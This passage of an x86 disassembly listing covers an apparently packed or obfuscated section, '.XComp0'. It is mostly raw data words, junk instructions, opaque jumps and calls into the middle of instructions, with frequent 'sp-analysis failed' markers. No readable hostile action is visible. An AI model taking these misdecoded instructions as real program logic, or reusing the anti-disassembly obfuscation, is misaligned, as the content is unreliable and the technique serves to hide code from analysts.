840EC961h, 85E1BCF5h, 2820FDCh, 8B000000h dd 10E85BD7h, 0CC000000h, 8E9194F4h, 4AE4F892h, 1CBD03D2h dd 0E833562Ah, 0Ah, 5DDF4726h, 970D107Bh, 25BBDD0Fh, 5908A105h dd 4CD6815Bh, 662C89DAh, 0B66A33BEh, 0CE8B66D8h, 12E950h dd 0C6D30000h, 0F29BF47h, 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh dd 0D88B665Bh, 4860Fh, 0B9660000h, 0E9FCC297h, 7, 0B4CD35D1h dd 0F580B6BCh, 2870Fh, 0F8B00000h, 1A810Fh, 0EE80000h dd 86000000h, 80646015h, 5B53FFC9h, 883A64E2h, 830FD0h dd 59000000h, 6AD08060h, 61D7B70Fh, 89E38166h, 0F77B1E3h dd 0BE9FBBFh, 19000000h, 30917E89h, 71A4461Fh, 0D18BF929h dd 13E8h, 0CA343400h, 3332BCD0h, 330CFB73h, 9B592125h dd 69DFF329h, 75BBD181h, 605837E6h, 0E9CE8B60h, 14h, 5BAB71B6h dd 0BFF311Ah, 141B547Fh, 0B4F1273Ch, 0A2ACB600h, 0D7B70F61h dd 0B70FFC61h, 0BE8CFh, 1CEE0000h, 92DA1C8Dh, 8435BEACh dd 6658F98Ah, 0CE8BF08Bh, 29B966h, 168B0Fh, 80600000h dd 0CE9DAC0h, 0EC000000h, 0DE26BAC4h, 0D27E58BAh, 6174322Fh dd 11E9h, 0FE8B6100h, 15BA2DF1h, 3A5B8BACh, 7DC95E45h dd 0D681F4E1h, 474D495Ch, 0CD39BB66h, 9E9h, 94C4D600h dd 0F7836DE1h, 8AF5814Eh, 0FE9F9h, 3A240000h, 5083B848h dd 0C5B4F4ACh, 77F541DAh, 0E580F9D3h, 4C68053h, 0CE9h dd 0EC796D00h, 286C5D56h, 0ED26EB7Fh, 0F3BF0FF3h, 0EFD08166h dd 168C0F0Fh, 0E9000000h, 11h, 9131D4ABh, 0DB17C0E1h, 16EC387h dd 0D41B1418h, 8F0FE1h, 0F9000000h, 0D8B70F60h, 0FDB8BE61h dd 66F85380h, 0BE66C88Bh, 80F91594h, 0C981F4DFh, 66E34034h dd 0ED805652h, 0F5F5922h, 810FD6B7h, 2, 0F6805B50h, 0B75853D6h dd 51DF8B6Fh, 13E860h, 17B90000h, 0D0C351CAh, 0D59A9E5Fh dd 606FE1C6h, 84C0F8FEh, 13E95F37h, 95000000h, 0CA6BE949h dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 5F61DA1Fh, 8166C28Bh dd 668102D3h, 9E9FA8Bh, 90000000h, 0A4A2CDFh, 5A78EAA0h dd 13840FFCh, 0E9000000h, 0Eh, 2546CE75h, 8101A986h, 7B5B2AFBh dd 0B70FA3A6h, 12E9F7h, 42230000h, 0EFC0495Ah, 0AD1B3BC6h dd 0E9CBA3FEh, 89788FF5h, 0E1EB8166h, 0C0B70F31h, 14E8h dd 12C48400h, 0A385FEB7h, 46A0D618h, 0DF30D117h, 17F5E18Ch dd 0D7C880B6h, 46BB665Eh, 0DB81666Ch, 5EB11BE5h, 0DBBF0FF9h dd 14E9h, 280E6500h, 0DCD65C81h, 5189A2EFh, 0AD42BC80h dd 0B26E13Fh, 810F54h, 66000000h, 4BBAF081h, 4AC660BFh dd 0BF0F6004h, 61D88BC6h, 5FCB8A53h, 95D88160h, 801FF1A2h dd 81613AD0h, 0DE3DF3C8h, 0E9D78A5Ch, 0Dh, 51300317h, 8900CD49h dd 77BBE307h, 84E48049h, 0EBDF8166h, 43E281FAh, 0E9309CC3h dd 8, 14FAFAC8h, 5F73B7BDh, 0BDB9EB81h, 79B37903h, 6E9F08Bh dd 2D000000h, 7EF273Ah, 13E979h, 1B9E0000h, 0F7182AE6h dd 14D9EECDh, 8543E2Ah, 0E7FE09EBh, 0FE8A9h, 0DBD70000h dd 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh, 13870F05h, 0E9000000h dd 0Eh, 0C0C0D46Ch, 0CC3D65FCh, 1A995766h, 8A5B3CA7h, 0F560F5D4h dd 5E8h, 84BD3B00h, 0B70F8DD2h, 8B615FDBh, 0E281FEh, 0F7A6B13h dd 0D88BDFB7h, 963DA3BAh, 0C6F7816Ch, 66264E2Ah, 8D0FC78Bh dd 4, 157BB66h, 48D0Fh, 0B8660000h, 9E9A708h, 0BB000000h dd 4D01BD26h, 15F54F97h, 51CEB760h, 615AE8B1h, 66CABF0Fh dd 512F081h, 5E9h, 0D1D69B00h, 30B2B661h, 57CF8B66h, 0DEB70F5Fh dd 13E9h, 10443400h, 91B0C1DCh, 0A1D80A52h, 7A51C3E0h dd 6D5CA6CAh, 7E9h, 5F24E500h, 0B50CA582h, 78CB8166h, 0F18166F0h dd 55BEDBCDh, 665323FAh, 0E9631CB8h, 10h, 693FE52Fh, 0F4435427h dd 0C93F053Dh, 0AD262B8Ch, 8B66D98Bh, 0C280F8CBh, 49D7BB3Eh dd 850F736Eh, 2, 800FD48Ah, 0Ch, 68C0Fh, 860F0000h, 0 ; --------------------------------------------------------------------------- jz loc_607F68 xor esi, 2ADC7B34h loc_607F68: ; CODE XREF: .XComp0:00607F5Cj jmp loc_607F7A ; --------------------------------------------------------------------------- db 42h, 71h, 9Fh dd 0CF3F5BEEh, 2182C3BBh db 58h, 0CFh ; --------------------------------------------------------------------------- loc_607F7A: ; CODE XREF: .XComp0:loc_607F68j movzx eax, si pusha movsx eax, di mov al, 20h popa mov edi, edx pusha stc jle loc_607F92 mov si, 0F75Eh loc_607F92: ; CODE XREF: .XComp0:00607F88j popa call near ptr loc_607FA1+3 inc ebx sbb [eax+esi*8-23h], ecx shl dword ptr [bx+si+0], 1 loc_607FA1: ; CODE XREF: .XComp0:00607F93p mov ds:0DF8BFA64h, al pop edx mov edi, 698D3CD8h jmp loc_607FB6 ; --------------------------------------------------------------------------- db 0Eh, 0CDh, 0FFh ; --------------------------------------------------------------------------- mov bh, 45h loc_607FB6: ; CODE XREF: .XComp0:00607FACj pusha clc jp loc_607FCC jmp loc_607FCC ; --------------------------------------------------------------------------- db 0CFh dd 0FF7C7386h, 0F78CB5ACh ; --------------------------------------------------------------------------- loc_607FCC: ; CODE XREF: .XComp0:00607FB8j ; .XComp0:00607FBEj popa mov cx, si pusha mov dx, 7898h cld popa jg loc_607FE3 xor eax, 4A4BC35Fh loc_607FE3: ; CODE XREF: .XComp0:00607FD7j mov edi, 3AD9ABh adc si, 48FDh mov dx, 4B8Fh jmp loc_607FFB ; --------------------------------------------------------------------------- dw 0B960h db 0B1h, 0Dh, 2Eh ; --------------------------------------------------------------------------- loc_607FFB: ; CODE XREF: .XComp0:00607FF1j jmp loc_608012 ; --------------------------------------------------------------------------- dd 0D126D72Fh, 75D90191h, 0EEAD8B2Eh, 0CC26D8F9h db 0A1h, 4Ch ; --------------------------------------------------------------------------- loc_608012: ; CODE XREF: .XComp0:loc_607FFBj mov esi, 5A4D974Eh clc sbb ecx, 2F1812A5h jmp loc_608033 ; --------------------------------------------------------------------------- db 0D5h dd 0D427E95Dh, 9A2FCA9Dh, 21E1800Ch db 7Dh, 0C9h, 0D2h ; --------------------------------------------------------------------------- loc_608033: ; CODE XREF: .XComp0:0060801Ej movsx edi, ax mov ecx, ebx or eax, 1E957BC0h jmp loc_608048 ; --------------------------------------------------------------------------- mov esp, 5AD161B2h loc_608048: ; CODE XREF: .XComp0:0060803Ej xor ax, 23C6h mov di, cx stc js loc_60805A movzx ebx, si loc_60805A: ; CODE XREF: .XComp0:00608051j jmp loc_608069 ; --------------------------------------------------------------------------- db 27h dd 0E6935530h, 6964A7D2h ; --------------------------------------------------------------------------- scasb loc_608069: ; CODE XREF: .XComp0:loc_60805Aj mov al, 3Ah mov bl, 0Ch push ecx or eax, 5CB74569h pop edi adc dh, 1Ah jno loc_608080 mov bl, 0D7h loc_608080: ; CODE XREF: .XComp0:00608078j jle loc_608090 pusha mov esi, 4EB96CBh movzx edx, di popa loc_608090: ; CODE XREF: .XComp0:loc_608080j mov dx, bx jnb loc_60809D mov cx, 1A73h loc_60809D: ; CODE XREF: .XComp0:00608093j mov si, bx mov ebx, ecx jmp loc_6080B0 ; --------------------------------------------------------------------------- db 5Fh dd 18EFF2B2h, 4D765882h ; --------------------------------------------------------------------------- loc_6080B0: ; CODE XREF: .XComp0:006080A2j push edx mov dl, 0Dh pop eax mov si, 0AEC7h mov ebx, 2C6C7F1Bh push ecx mov cx, 0AB1Ch pop esi movzx edi, ax mov cl, 0BBh push ebx mov dx, si pop edi mov eax, edx call sub_6080DD fisubr word ptr [eax-18h] xchg eax, ebp mov ds:0C80006E8h, eax ; =============== S U B R O U T I N E ======================================= sub_6080DD proc near ; CODE XREF: .XComp0:006080CFp call near ptr loc_6080E8+3 sbb [ecx+75h], dh push esi xor al, 0FCh loc_6080E8: ; CODE XREF: sub_6080DDp sbb [edi+5E5FF57Bh], edx sub_6080DD endp ; sp-analysis failed mov ah, 0ECh cmc movzx eax, bx call sub_608107 ; --------------------------------------------------------------------------- db 0A8h, 0C4h, 0F6h dd 0E8465B27h, 0C5FEF7B3h ; --------------------------------------------------------------------------- mov word ptr [edi+26h], fs ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_608107 proc near ; CODE XREF: .XComp0:006080F4p sub esi, 2EB477Eh pop edx call sub_608123 aam 51h and eax, 2990CE57h jmp far ptr 0D267h:0C8264CA7h sub_608107 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FEh, 7Ah ; =============== S U B R O U T I N E ======================================= sub_608123 proc near ; CODE XREF: sub_608107+7p jp loc_608137 jmp loc_608137 ; --------------------------------------------------------------------------- dw 23ECh ; --------------------------------------------------------------------------- or dword ptr [ebp-64379577h], 0FFFFFFAEh loc_608137: ; CODE XREF: sub_608123j sub_608123+6j pop eax mov edx, 247BD721h mov si, 1827h mov di, 0FA36h jmp loc_608156 ; --------------------------------------------------------------------------- dw 98E7h dd 9FE34B3Ch, 0FFFA6720h db 5Ah, 0E4h ; --------------------------------------------------------------------------- loc_608156: ; CODE XREF: sub_608123+22j jbe loc_60815F mov ax, di loc_60815F: ; CODE XREF: sub_608123:loc_608156j cmc mov edi, ecx movsx ecx, bx cld mov si, 0E449h mov dl, 53h pusha push ecx call near ptr loc_608180+1 add dh, [ecx+16F1B920h] mov eax, ds:7C00BAF6h cli push es loc_608180: ; CODE XREF: sub_608123+4Bp sbb byte ptr [ecx+5Fh], 0F5h sub_608123 endp ; sp-analysis failed popa mov dx, 949Eh jmp loc_608196 ; --------------------------------------------------------------------------- dw 2772h ; --------------------------------------------------------------------------- pop ss mov eax, 46BE1FD8h loc_608196: ; CODE XREF: .XComp0:00608189j push eax mov ch, 23h pop ebx push edi sub ax, 91D4h pop eax call near ptr loc_6081AD+3 mov bh, 0FBh mov al, 8Bh aas aas inc ebx loc_6081AD: ; CODE XREF: .XComp0:006081A1p xor [esi+58DE8B09h], esp mov eax, edi and ecx, 4833E14Ch jmp loc_6081CC ; --------------------------------------------------------------------------- mov ecx, 47F917FEh clc inc ebx mov eax, 698C174h loc_6081CC: ; CODE XREF: .XComp0:006081BBj mov di, cx mov ecx, esi or eax, 45DB9DF2h jbe near ptr loc_6081E8+2 call near ptr loc_6081E5+2 inc esi inc edi aas loc_6081E5: ; CODE XREF: .XComp0:006081DDp sbb edx, [ecx-75h] loc_6081E8: ; CODE XREF: .XComp0:006081D7j mov byte ptr [ecx-17h], 0Fh ; --------------------------------------------------------------------------- dd 0D4000000h, 0A7831DE6h, 3CCCB3CFh, 56FFA63Fh, 3AB8407Eh dd 0B857A951h, 22C955A0h, 3C7CF181h, 0BF6660EAh, 820FF096h dd 2, 0E96054B6h, 11h, 63A76703h, 42B4EBE5h, 0BB975975h dd 27C2F04Bh, 830F27h, 61000000h, 61D38A60h, 8E927B7h dd 5000000h, 98529F45h, 573554C1h, 0BE8h, 84E8C00h, 594DDB55h dd 881F927Fh, 880Fh, 5B5E0000h, 0E9F88B66h, 5, 0A06DECDEh dd 0CE977h, 2A990000h, 0E009A541h, 9281069Bh, 0B9663161h dd 14E907FEh, 88000000h, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h dd 57188A0Dh, 5346FC4Bh, 210CBE66h, 11E95Fh, 8C070000h dd 950FDFA9h, 93D2FA70h, 0F25009B5h, 0F86FA035h, 0E135C7BBh dd 5870F2Fh, 66000000h, 0F014D781h, 860F5160h, 0 ; --------------------------------------------------------------------------- pop edx jb loc_6082E0 sbb bx, 44D6h loc_6082E0: ; CODE XREF: .XComp0:006082D5j popa cld mov ax, 13AEh and cx, 7247h pusha movzx edi, bx cld popa jmp loc_608305 ; --------------------------------------------------------------------------- dw 589Ch dd 797BA4C0h, 91DAF572h, 0F6D18554h db 6Ah ; --------------------------------------------------------------------------- loc_608305: ; CODE XREF: .XComp0:006082F1j movsx ebx, di sub edx, 196BF5E9h mov bl, dh call near ptr loc_60831C+5 cbw jnz short near ptr dword_6081EC+0D4h inc ecx cmp al, ah loc_60831C: ; CODE XREF: .XComp0:00608310p lock adc dword ptr [ebp+esi*2+3Bh], 8C4EBA51h stosd push 5Eh pop ebx mov edi, eax call loc_608341 leave arpl [edi+47h], sp xchg bh, [ebx+29C3B808h] imul ecx, [edx-1F2E18CAh], -2Dh loc_608341: ; CODE XREF: .XComp0:0060832Bp pusha jle $+6 popa pop ecx mov bh, dh mov bx, di mov bl, 0BEh jle loc_608361 ; CODE XREF: .XComp0:00608371j pusha add edx, 7210272h mov dl, 1Fh popa loc_608361: ; CODE XREF: .XComp0:00608351j add eax, 4C11CB53h mov bh, 35h call sub_60837E movsb adc al, 37h jnb short near ptr loc_608351+1 jmp near ptr 0F5E0E3C9h ; --------------------------------------------------------------------------- pusha add al, 0A5h fdivp st(7), st pop esi ; =============== S U B R O U T I N E ======================================= sub_60837E proc near ; CODE XREF: .XComp0:00608369p ; FUNCTION CHUNK AT 00608481 SIZE 00000002 BYTES js loc_608387 and dl, 97h loc_608387: ; CODE XREF: sub_60837Ej pop ebx sbb esi, 668D4B4Eh push esi sub di, 1576h pop edi jmp loc_6083A8 ; --------------------------------------------------------------------------- dw 23A2h dd 5EF55E99h, 0B300D7B9h, 6762ED2Fh ; --------------------------------------------------------------------------- loc_6083A8: ; CODE XREF: sub_60837E+17j pusha mov di, 23B9h cmc popa stc movzx edx, dx jo loc_6083C9 jmp loc_6083C9 ; --------------------------------------------------------------------------- dw 840Bh db 90h db 4Fh, 54h, 0EBh dd 79C97265h db 0C0h ; --------------------------------------------------------------------------- loc_6083C9: ; CODE XREF: sub_60837E+35j ; sub_60837E+3Bj mov di, 0EC72h stc push ebx movzx ebx, bx pop edx xor al, 89h jp $+6 mov ch, 78h jmp loc_6083E8 ; --------------------------------------------------------------------------- db 74h dd 787C9E69h ; --------------------------------------------------------------------------- loc_6083E8: ; CODE XREF: sub_60837E+60j mov dx, ax jmp loc_6083FD ; --------------------------------------------------------------------------- dd 0FB2C9ED9h, 6888E2D7h, 890FA3E2h db 44h ; --------------------------------------------------------------------------- loc_6083FD: ; CODE XREF: sub_60837E+6Dj xor al, 2Eh mov edi, eax mov cl, 49h sbb dx, 4D88h mov esi, edx mov bx, 20E4h mov si, 8D72h xor cx, 0A118h cmc xor dx, 2B19h sub bx, 7B3Dh movzx edx, si mov ax, di jmp loc_608435 ; --------------------------------------------------------------------------- and edi, [ecx-681B1C5Eh] pushf loc_608435: ; CODE XREF: sub_60837E+ABj jl loc_60844A jmp loc_60844A ; --------------------------------------------------------------------------- dd 0C7987818h, 0FFD3E49Fh ; --------------------------------------------------------------------------- jge short loc_608451 loc_60844A: ; CODE XREF: sub_60837E:loc_608435j ; sub_60837E+BDj jmp loc_608454 ; --------------------------------------------------------------------------- js short loc_608481 loc_608451: ; CODE XREF: sub_60837E+CAj cmp al, 23h ; --------------------------------------------------------------------------- db 0D3h ; --------------------------------------------------------------------------- loc_608454: ; CODE XREF: sub_60837E:loc_60844Aj movzx esi, ax call near ptr loc_60845E+4 aam 77h loc_60845E: ; CODE XREF: sub_60837E+D9p sbb [edx-7E99AC2Eh], bh sub_60837E endp ; sp-analysis failed rcr dword ptr [edi], 19h pop esi mov ecx, 1DC7F304h mov ebx, 61A09218h clc mov edx, ebx jmp loc_608488 ; --------------------------------------------------------------------------- dw 2480h ; --------------------------------------------------------------------------- enter 0D85h, 0BAh cmc ; START OF FUNCTION CHUNK FOR sub_60837E loc_608481: ; CODE XREF: sub_60837E+D1j xchg eax, edx dec ebp ; END OF FUNCTION CHUNK FOR sub_60837E ; --------------------------------------------------------------------------- db 2Ah dd 8A47AB3Dh ; --------------------------------------------------------------------------- loc_608488: ; CODE XREF: .XComp0:00608475j sub ecx, 42DC2D28h mov cx, ax or cl, 5Fh add ax, 9DEEh jnp loc_6084AA call near ptr loc_6084A5+4 dec eax loc_6084A5: ; CODE XREF: .XComp0:0060849Fp mov esi, 5FE777B9h loc_6084AA: ; CODE XREF: .XComp0:00608499j jz loc_6084B3 or cl, 0C1h loc_6084B3: ; CODE XREF: .XComp0:loc_6084AAj jnb $+6 mov si, 0BFBAh jmp loc_6084D3 ; --------------------------------------------------------------------------- dw 9AEEh dd 6222C785h, 99B38AD6h, 900C0A8Eh db 0E7h, 0DBh, 0F7h ; --------------------------------------------------------------------------- loc_6084D3: ; CODE XREF: .XComp0:006084BDj mov ch, 98h pusha sbb dh, 0F9h xor bh, 83h popa mov dx, bx jz loc_608508 pusha jmp loc_6084F6 ; --------------------------------------------------------------------------- dd 0EC4E88E8h, 0BC0D1FBDh db 0D9h, 9Ah ; --------------------------------------------------------------------------- loc_6084F6: ; CODE XREF: .XComp0:006084E7j jmp loc_608507 ; --------------------------------------------------------------------------- pop ds xchg edx, [edi+248B9729h] xor eax, 2CA27822h loc_608507: ; CODE XREF: .XComp0:loc_6084F6j popa loc_608508: ; CODE XREF: .XComp0:006084E0j jmp loc_608521 ; --------------------------------------------------------------------------- db 0AAh, 56h, 0B3h dd 252BA125h, 8E4326A9h, 0D4A0D40Ch, 7D98DE54h ; --------------------------------------------------------------------------- cli loc_608521: ; CODE XREF: .XComp0:loc_608508j mov dx, 0C026h push ebx pop eax mov edi, ebx push ebx adc dx, 922Dh pop edx jnb loc_608548 call near ptr loc_60853F+6 sbb al, 82h xor al, 48h loc_60853F: ; CODE XREF: .XComp0:00608536p bound esi, [ebx+edi*4-4FA2E18Ah] dec edx pop ecx loc_608548: ; CODE XREF: .XComp0:00608530j mov si, bx mov al, 59h call sub_60855D ; --------------------------------------------------------------------------- dw 0F6FEh ; --------------------------------------------------------------------------- test eax, 0D2711F11h sbb [edi], cl mov ah, 0F6h ; =============== S U B R O U T I N E ======================================= sub_60855D proc near ; CODE XREF: .XComp0:0060854Dp jge loc_608568 mov edi, 23E5DC6Ch loc_608568: ; CODE XREF: sub_60855Dj pop ebx xor ecx, 51E95EF5h call sub_608580 or al, 0BFh test [esi+ecx*8+37h], dl jge short loc_60858B inc ebx inc ecx cmp al, 0C2h sub_60855D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_608580 proc near ; CODE XREF: sub_60855D+12p pop eax mov dl, 0A7h cld mov bh, ch movzx edi, si cmc pusha loc_60858B: ; CODE XREF: sub_60855D+1Dj and edi, 3755DF7Fh mov dx, 2149h popa mov ax, di sbb ebx, 61D5F1EAh mov di, 7F51h mov edx, 44B850B4h push edi add ax, 17B1h pop edx jmp loc_6085BF ; --------------------------------------------------------------------------- dd 3EDCF751h, 90A6D696h db 0B1h, 0C6h, 5 ; --------------------------------------------------------------------------- loc_6085BF: ; CODE XREF: sub_608580+2Fj call near ptr loc_6085C7+3 adc [ebx-30h], al loc_6085C7: ; CODE XREF: sub_608580:loc_6085BFp fild qword ptr [edx+esi*4-7Fh] sub_608580 endp ; sp-analysis failed out dx, al shr dword ptr [edi+0Fh], 5Fh pop ecx mov ecx, 535A6B1Ch jmp loc_6085E5 ; --------------------------------------------------------------------------- db 68h dd 0E451A599h, 37F7625Dh db 7Ch ; --------------------------------------------------------------------------- loc_6085E5: ; CODE XREF: .XComp0:006085D6j mov ecx, 2E5A5DD2h jz $+6 pusha jmp loc_608608 ; --------------------------------------------------------------------------- dw 6CDCh dd 0DA817EF9h, 240BD605h, 5A0C74B5h, 61E7C6F3h ; --------------------------------------------------------------------------- loc_608608: ; CODE XREF: .XComp0:006085F1j popa adc si, 0D567h push esi mov si, ax pop esi and eax, 0DE71DD0h jmp loc_608631 ; --------------------------------------------------------------------------- inc edi mov dword ptr [edx+ebx-1D630BACh], 177FC4CFh inc eax fisttp dword ptr [esi-0D17B08Ch] loc_608631: ; CODE XREF: .XComp0:00608619j mov ecx, 4E577887h movsx ebx, dx push eax ja loc_608646 js $+6 loc_608646: ; CODE XREF: .XComp0:0060863Aj pop ebx call near ptr loc_608659+1 xchg ah, [ebp+89DF208h] fidiv dword ptr [esi] aaa jnz short loc_608693 mov dh, 0 loc_608659: ; CODE XREF: .XComp0:00608647p sbb [edi], cl add byte ptr ds:66000000h, 81h out 0E6h, eax xchg eax, esi pop edx mov edi, 54501FFDh call near ptr loc_608673+3 xchg eax, edx shl ebp, 1 loc_608673: ; CODE XREF: .XComp0:0060866Bp mov eax, ds:840F426Bh sldt word ptr [eax] add cl, ch or al, [eax] ; --------------------------------------------------------------------------- db 0 dd 160CF000h, 0DAA226D6h, 59CF1E58h, 0CBBF0FF8h db 0B9h, 0D5h, 4Ah ; --------------------------------------------------------------------------- loc_608693: ; CODE XREF: .XComp0:00608655j add [ebp-41h], ch cli ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- mov bh, 51h mov bx, 0A646h xor bx, 0A517h movsx esi, di jbe loc_6086B4 push edi sbb ebx, 4DB2594Fh pop ecx loc_6086B4: ; CODE XREF: .XComp0:006086A6j mov ecx, 66915FA0h jo loc_6086C4 adc cx, 286Bh loc_6086C4: ; CODE XREF: .XComp0:006086B9j mov eax, edi jmp loc_6086D6 ; --------------------------------------------------------------------------- db 5Bh dd 977028C7h, 0C63E0C98h db 44h, 0CAh ; --------------------------------------------------------------------------- loc_6086D6: ; CODE XREF: .XComp0:006086C6j jb loc_6086E4 push edi jnb $+6 pop esi loc_6086E4: ; CODE XREF: .XComp0:loc_6086D6j mov cx, 88F3h mov eax, edx call sub_6086F5 cld xor al, 12h pop es and ah, [edx] ; =============== S U B R O U T I N E ======================================= sub_6086F5 proc near ; CODE XREF: .XComp0:006086EAp mov ebx, edx pop edx xor eax, 0BFB70DCh push ecx jmp loc_60870D ; --------------------------------------------------------------------------- cmpsd push es aad 5Ah retn 84F9h ; --------------------------------------------------------------------------- fimul word ptr [eax] loc_60870D: ; CODE XREF: sub_6086F5+Aj pop esi jbe loc_60871C push ebx xor ecx, 2D12610Dh pop edx loc_60871C: ; CODE XREF: sub_6086F5+19j call sub_608726 rcr dword ptr [esi+edx+26h], 62h sub_6086F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_608726 proc near ; CODE XREF: sub_6086F5:loc_60871Cp pop edi movsx edx, dx mov ecx, 6E737108h push ebx jg loc_60873A mov di, 0ECD0h loc_60873A: ; CODE XREF: sub_608726+Aj pop eax and esi, 76B38613h movzx esi, dx mov si, 13E0h push ecx call sub_60875D retn 4659h sub_608726 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4Eh, 62h, 8Ah dd 0A174D887h, 0CC28F364h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_60875D proc near ; CODE XREF: sub_608726+23p xor ebx, 4C41BEEh pop edi pop ecx jmp loc_608779 ; --------------------------------------------------------------------------- add eax, 5EA3A396h pop edi fadd qword ptr [esi-360CCC4Eh] cmp al, bl lahf loc_608779: ; CODE XREF: sub_60875D+8j jmp loc_608784 ; --------------------------------------------------------------------------- db 90h db 62h dd 1DE411ECh ; --------------------------------------------------------------------------- loc_608784: ; CODE XREF: sub_60875D:loc_608779j mov edi, ecx call sub_608792 adc [edx+45C5C18Bh], esp pop edi sub_60875D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_608792 proc near ; CODE XREF: sub_60875D+29p movzx edi, dx pop eax mov ebx, 62334547h mov edx, 18F9ACECh jbe loc_6087C4 pusha jmp loc_6087C0 ; --------------------------------------------------------------------------- dd 39E38D8Dh, 27665C31h, 6F2A470Bh, 44508B53h, 0CF308ACh ; --------------------------------------------------------------------------- loc_6087C0: ; CODE XREF: sub_608792+15j sub dh, 0F2h popa loc_6087C4: ; CODE XREF: sub_608792+Ej add ax, 2AFh mov edx, eax ja loc_6087D5 mov dx, 1804h loc_6087D5: ; CODE XREF: sub_608792+39j movzx ebx, ax xor eax, 43BC7535h mov dx, 0F07Ah jp loc_6087EE adc esi, 63E7CF35h loc_6087EE: ; CODE XREF: sub_608792+50j mov di, 1167h cmc mov cx, 0A0D5h xor si, 0EEF2h mov di, 8123h push ebx mov bh, 25h pop edi mov al, 0B3h add ax, 0F502h mov edx, esi jmp loc_608821 ; --------------------------------------------------------------------------- dw 643Eh dd 2482AC96h, 3FFF8542h, 3D80D803h db 39h ; --------------------------------------------------------------------------- loc_608821: ; CODE XREF: sub_608792+7Bj push ebx mov cx, 59A4h pop eax add cx, 0C60Eh jmp loc_608842 ; --------------------------------------------------------------------------- db 0E4h, 1Eh, 23h dd 0C025B075h, 0E4C098ABh, 82DD2DD2h db 2Bh, 0Ch ; --------------------------------------------------------------------------- loc_608842: ; CODE XREF: sub_608792+9Aj clc jg loc_60884A cmc loc_60884A: ; CODE XREF: sub_608792+B1j mov ecx, 4E5FEE7Dh jo near ptr loc_608865+5 call near ptr loc_608865+2 scasd imul esi, [edi-69h], 9E8BC159h outsb mov dh, 0B2h loc_608865: ; CODE XREF: sub_608792+C3p ; sub_608792+BDj adc dword ptr [edx-74A7A5AAh], 0FFFFFFC7h sub_608792 endp ; sp-analysis failed pusha mov edx, edi mov eax, 58010A99h popa mov cl, 45h jmp loc_608884 ; --------------------------------------------------------------------------- dd 6959DC1h, 117E096Bh ; --------------------------------------------------------------------------- loc_608884: ; CODE XREF: .XComp0:00608877j stc jmp loc_608895 ; --------------------------------------------------------------------------- dw 0CADEh dd 0C1FB56A2h, 0DF687BD5h db 0B4h ; --------------------------------------------------------------------------- loc_608895: ; CODE XREF: .XComp0:00608885j jg loc_60889E movsx eax, si loc_60889E: ; CODE XREF: .XComp0:loc_608895j add bh, 0C3h ja loc_6088AC mov ebx, 78391E72h loc_6088AC: ; CODE XREF: .XComp0:006088A1j jb loc_6088B4 mov edi, ecx loc_6088B4: ; CODE XREF: .XComp0:loc_6088ACj mov ah, 80h mov esi, 14AA32EDh mov ah, bl jmp loc_6088CB ; --------------------------------------------------------------------------- cmp dword ptr [esp+eax], 0FFFFFFC1h or dh, cl and esp, ebp stosd loc_6088CB: ; CODE XREF: .XComp0:006088BDj or si, 0A44Bh push esi movzx ebx, di pop esi mov ch, dh jg loc_6088E2 xor cx, 2B89h loc_6088E2: ; CODE XREF: .XComp0:006088D7j mov edx, ecx mov di, si jnb loc_6088F0 movzx eax, bx loc_6088F0: ; CODE XREF: .XComp0:006088E7j sub edi, 33B44EE0h sub edi, 2B6058AEh add si, 1Eh mov ecx, ebx jno $+6 or ecx, 195E002Fh adc dl, 62h xor esi, 6F593126h clc mov si, 1B12h mov dl, 59h mov dx, 50B4h mov ax, bx mov ax, 0BDAh jnb loc_608932 mov eax, ecx loc_608932: ; CODE XREF: .XComp0:0060892Aj mov ch, 6 ja loc_60893B cmc loc_60893B: ; CODE XREF: .XComp0:00608934j mov dx, 43DDh or bl, 3 mov dx, 6397h jmp loc_60895F ; --------------------------------------------------------------------------- db 0A0h dd 7E057269h, 57657EF5h, 0A244A0Eh, 95A6D57Ah db 0D1h, 0A6h, 0A9h ; --------------------------------------------------------------------------- loc_60895F: ; CODE XREF: .XComp0:00608946j jl loc_608969 mov dx, 0BBD3h loc_608969: ; CODE XREF: .XComp0:loc_60895Fj movsx ebx, dx adc dh, 0B3h jmp loc_608981 ; --------------------------------------------------------------------------- dd 3B874395h, 23921B2Ah, 0CF4608C9h db 0D8h ; --------------------------------------------------------------------------- loc_608981: ; CODE XREF: .XComp0:0060896Fj jge loc_60898A mov dx, bx loc_60898A: ; CODE XREF: .XComp0:loc_608981j stc jmp loc_608999 ; --------------------------------------------------------------------------- jns short near ptr loc_608994+3 xor ecx, esp loc_608994: ; CODE XREF: .XComp0:00608990j mov esp, 91F17AEEh loc_608999: ; CODE XREF: .XComp0:0060898Bj call near ptr loc_6089A6+1 mov ebx, 4D01BD26h xchg eax, edi dec edi cmc loc_6089A6: ; CODE XREF: .XComp0:loc_608999p adc eax, 13E8h add [ebx], al ; --------------------------------------------------------------------------- db 0D9h, 0D7h, 0A0h dd 25C4ED71h, 7E87906Ch, 949B5E07h, 8B259F8Eh, 0BF5E5BF9h dd 0C4BE4B2h, 8E9h, 33359700h, 0C6E63F7Ch, 2CBE66BCh, 0D8BF0F73h dd 0AF559CB9h, 7E955h, 61B30000h, 0A3752C80h, 9CB96688h dd 0F0816665h, 0DA8BB9E0h, 8C0Fh, 88B10000h, 2EC5B866h dd 2850Fh, 55B40000h, 5E8h, 0AC1D9900h, 8B66F653h, 8F0F5AC6h dd 5, 0C3B70F52h, 8F0F505Bh, 6, 0A4A5EF81h, 815F0763h dd 5D8AF9E2h, 11E979h, 2CD60000h, 0E68870F3h, 0D2B3D5C9h dd 0C494F932h, 0FA780A2h, 6651FEB7h, 0F2FEC381h, 0B810F5Eh dd 60000000h, 0FD78B66h, 84h, 0EE86100h, 0F9000000h, 825E1C31h dd 294760EEh, 5BE66AE7h, 17800F37h, 0E9000000h, 12h, 29BBED7Eh dd 0CBDC12D3h, 0D44D6C90h, 1B7DAB23h, 0F58E89Fh, 